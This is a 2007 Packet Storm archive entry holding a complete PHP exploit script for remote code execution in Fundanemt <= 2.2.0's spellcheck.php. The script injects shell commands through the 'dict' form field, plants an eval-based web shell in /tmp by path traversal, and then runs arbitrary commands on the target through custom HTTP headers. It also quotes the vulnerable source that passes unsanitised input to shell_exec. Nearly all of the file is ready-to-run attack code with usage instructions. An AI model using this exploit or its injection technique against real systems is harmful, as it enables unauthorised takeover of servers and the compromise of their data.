fundanemt-exec.txt

2007-05-30T00:00:00
ID PACKETSTORM:56971
Type packetstorm
Reporter Kacper
Modified 2007-05-30T00:00:00

Description

                                        
                                            `<?php  
/*  
Exploit Name:  
Fundanemt <= 2.2.0 (spellcheck.php) Remote Code Execution Exploit  
  
Autor: Kacper  
Contact: kacper1964@yahoo.pl  
Homepage: http://www.rahim.webd.pl/  
Kacper Hacking & Security Blog: http://kacper.bblog.pl/  
Irc: irc.milw0rm.com:6667 #devilteam   
  
Pozdro dla wszystkich z kanalu IRC oraz forum DEVIL TEAM.  
  
Pozdrawiam pl.zone-h.org, a najbardziej demo, oraz cala ekipe Zone-H.Org :)  
  
script homepage/download/demo: http://www.fundanemt.org/  
*/  
  
if ($argc<4) {  
print_r('  
---------------------------------------------------------------------------  
Usage: php '.$argv[0].' host path cmd OPTIONS  
host: target server (ip/hostname)  
path: path to Fundanemt  
cmd: a shell command  
Options:  
-p[port]: specify a port other than 80  
-P[ip:port]: specify a proxy  
Example:  
php '.$argv[0].' localhost /Fundanemt/ ls -la  
php '.$argv[0].' localhost /Fundanemt/ ls -la -P1.1.1.1:80  
---------------------------------------------------------------------------  
');  
die;  
}  
error_reporting(7);  
ini_set("max_execution_time",0);  
ini_set("default_socket_timeout",5);  
  
function quick_dump($string)  
{  
$result='';$exa='';$cont=0;  
for ($i=0; $i<=strlen($string)-1; $i++)  
{  
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))  
{$result.=" .";}  
else  
{$result.=" ".$string[$i];}  
if (strlen(dechex(ord($string[$i])))==2)  
{$exa.=" ".dechex(ord($string[$i]));}  
else  
{$exa.=" 0".dechex(ord($string[$i]));}  
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}  
}  
return $exa."\r\n".$result;  
}  
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';  
  
function wyslijpakiet($packet)  
{  
global $proxy, $host, $port, $html, $proxy_regex;  
if ($proxy=='') {  
$ock=fsockopen(gethostbyname($host),$port);  
if (!$ock) {  
echo 'No response from '.$host.':'.$port; die;  
}  
}  
else {  
$c = preg_match($proxy_regex,$proxy);  
if (!$c) {  
echo 'Not a valid proxy...';die;  
}  
$parts=explode(':',$proxy);  
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";  
$ock=fsockopen($parts[0],$parts[1]);  
if (!$ock) {  
echo 'No response from proxy...';die;  
}  
}  
fputs($ock,$packet);  
if ($proxy=='') {  
$html='';  
while (!feof($ock)) {  
$html.=fgets($ock);  
}  
}  
else {  
$html='';  
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {  
$html.=fread($ock,1);  
}  
}  
fclose($ock);  
}  
$host=$argv[1];  
$path=$argv[2];  
$port=80;  
$proxy="";  
$cmd="";  
for ($i=3; $i<$argc; $i++){  
$temp=$argv[$i][0].$argv[$i][1];  
if (($temp<>'-p') and ($temp<>'-P')) {$cmd.=" ".$argv[$i];}  
if ($temp=="-p")  
{  
$port=str_replace("-p","",$argv[$i]);  
}  
if ($temp=="-P")  
{  
$proxy=str_replace("-P","",$argv[$i]);  
}  
}  
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'bad patch!'; die;}  
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}  
/*  
Bad code:  
file spellcheck.php:  
=============================================================================  
<?php  
  
$text= $_POST['text'];  
$dict = $_POST['dict']; // <----------------------[^]  
$showsource= $_GET['showsource'];  
  
//  
// file paths and the aspell command have moved down below line 58  
//  
  
if (trim($text)!="") {  
$showsource= 0;  
$sourceinfo= "";  
}  
  
print "<html>  
<head>  
<title>$uripath</title>  
<style type='text/css'>  
body { font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 18px; background-color: #ffffff;}  
table { font-family: Verdana, Geneva, sans-serif; font-size: 12px; }  
.heading { font-size: 12px; font-weight: bold; background-color: #666677; color: #dddddd; border: 1px; border-style: solid; }  
.oddrow { background-color: #ffffff; }  
.evenrow { background-color: #ffffff; }  
</style>  
</head>  
<body>  
";  
// if text+check is supplied, first open and create $temptext, then spell check  
if (trim($text)!="" && ($_POST['submit']=="check" || $_POST['submit']=="check igen")) {  
####### COFIG START ########   
$temptext= tempnam("/tmp", "spelltext");  
  
// if you spellcheck alot of HTML, add the -H flag to aspell to put it in SGML mode  
$aspellcommand= "cat $temptext | /usr/bin/ispell -a -d$dict"; // <----------------------[^^]  
  
$indicator= "bold";  
$opener= "<b>";  
$closer= "</b>";  
######## END OF CONFIG ##########  
  
if ($fd=fopen($temptext,"w")) {  
$textarray= explode("\n",$text);  
fwrite($fd,"!\n");  
foreach($textarray as $key=>$value) {  
// adding the carat to each line prevents the use of aspell commands within the text...  
fwrite($fd,"^$value\n");  
}  
fclose($fd);  
  
// run aspell  
$return= shell_exec($aspellcommand); // <----------------------[^^^]  
=============================================================================  
nice code :)  
*/  
echo "Bug #1 (try insert poison file! work only when register globals = off)\n\n";  
$paths=array("../../../../../../../../../tmp/",  
"../../../tmp/",  
"../../../../tmp/",  
"../../../../../tmp/",  
"../../../../../../tmp/",  
"../../../../../../../tmp/",  
"../../../../../../../../tmp/");  
for ($i=0; $i<count($paths); $i++)  
{echo "Insert poison file! - [".$i."]\n\n";  
$my_path=urlencode($paths[$i]);  
$data ="-----------------------------b04bc63706572\r\n";  
$data.="Content-Disposition: form-data; name=\"text\";\r\n\r\n";  
$data.="Owned_by_DEVIL_TEAM\r\n";  
$data ="-----------------------------b04bc63706572\r\n";  
$data.="Content-Disposition: form-data; name=\"dict\";\r\n\r\n";  
$data.="Engelsk | echo ^<?php eval($_SERVER[HTTP_KACPER]);?^> > ".$my_path."hauru.php;\r\n";  
$data ="-----------------------------b04bc63706572\r\n";  
$data.="Content-Disposition: form-data; name=\"submit\";\r\n\r\n";  
$data.="check\r\n";  
$data.="-----------------------------b04bc63706572--\r\n";  
$packet ="POST ".$p."core/spellcheck/spellcheck.php HTTP/1.0\r\n";  
$packet.="Content-Type: multipart/form-data; boundary=---------------------------b04bc63706572\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Content-Length: ".strlen($data)."\r\n";  
$packet.="Connection: Close\r\n\r\n";  
$packet.=$data;  
wyslijpakiet($packet);  
sleep(1);}  
$paths=array("../../../../../../../../../tmp/",  
"../../../tmp/",  
"../../../../tmp/",  
"../../../../../tmp/",  
"../../../../../../tmp/",  
"../../../../../../../tmp/",  
"../../../../../../../../tmp/");  
for ($i=0; $i<count($paths); $i++)  
{echo "Run poison file! - [".$i."]\n\n";  
$packet ="GET ".$p.$my_path."hauru.php HTTP/1.0\r\n";  
$packet.="KACPER: error_reporting(E_ALL);set_time_limit(0);echo \"_hauru_\";passthru(\$_SERVER[HTTP_KOMENDY]);echo \"_hauru_\";\r\n";  
$packet.="KOMENDY: $cmd\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Connection: Close\r\n\r\n";  
wyslijpakiet($packet,1);  
$out=explode("_hauru_",$html);  
echo $out[1];  
sleep(1);}  
echo "Try execute you command: ".$cmd."\n\n";  
echo "Bug #2\n\n";  
$data ="-----------------------------b04bc63706572\r\n";  
$data.="Content-Disposition: form-data; name=\"text\";\r\n\r\n";  
$data.="Owned_by_DEVIL_TEAM\r\n";  
$data ="-----------------------------b04bc63706572\r\n";  
$data.="Content-Disposition: form-data; name=\"dict\";\r\n\r\n";  
$data.="Engelsk | echo ^hauru^; ".$cmd."; echo ^hauru^;\r\n";  
$data ="-----------------------------b04bc63706572\r\n";  
$data.="Content-Disposition: form-data; name=\"submit\";\r\n\r\n";  
$data.="check\r\n";  
$data.="-----------------------------b04bc63706572--\r\n";  
$packet ="POST ".$p."core/spellcheck/spellcheck.php HTTP/1.0\r\n";  
$packet.="Content-Type: multipart/form-data; boundary=---------------------------b04bc63706572\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Content-Length: ".strlen($data)."\r\n";  
$packet.="Connection: Close\r\n\r\n";  
$packet.=$data;  
wyslijpakiet($packet);  
if (eregi("Cannot set time limit in safe mode",$html))  
{echo "Exploit works, but safe mode = on\n";}  
elseif (eregi("hauru",$html)){  
$temp=explode("hauru",$html);  
echo $temp[1];}  
else{echo "exploit dont work... check phpinfo()...\n";}  
?>  
  
  
`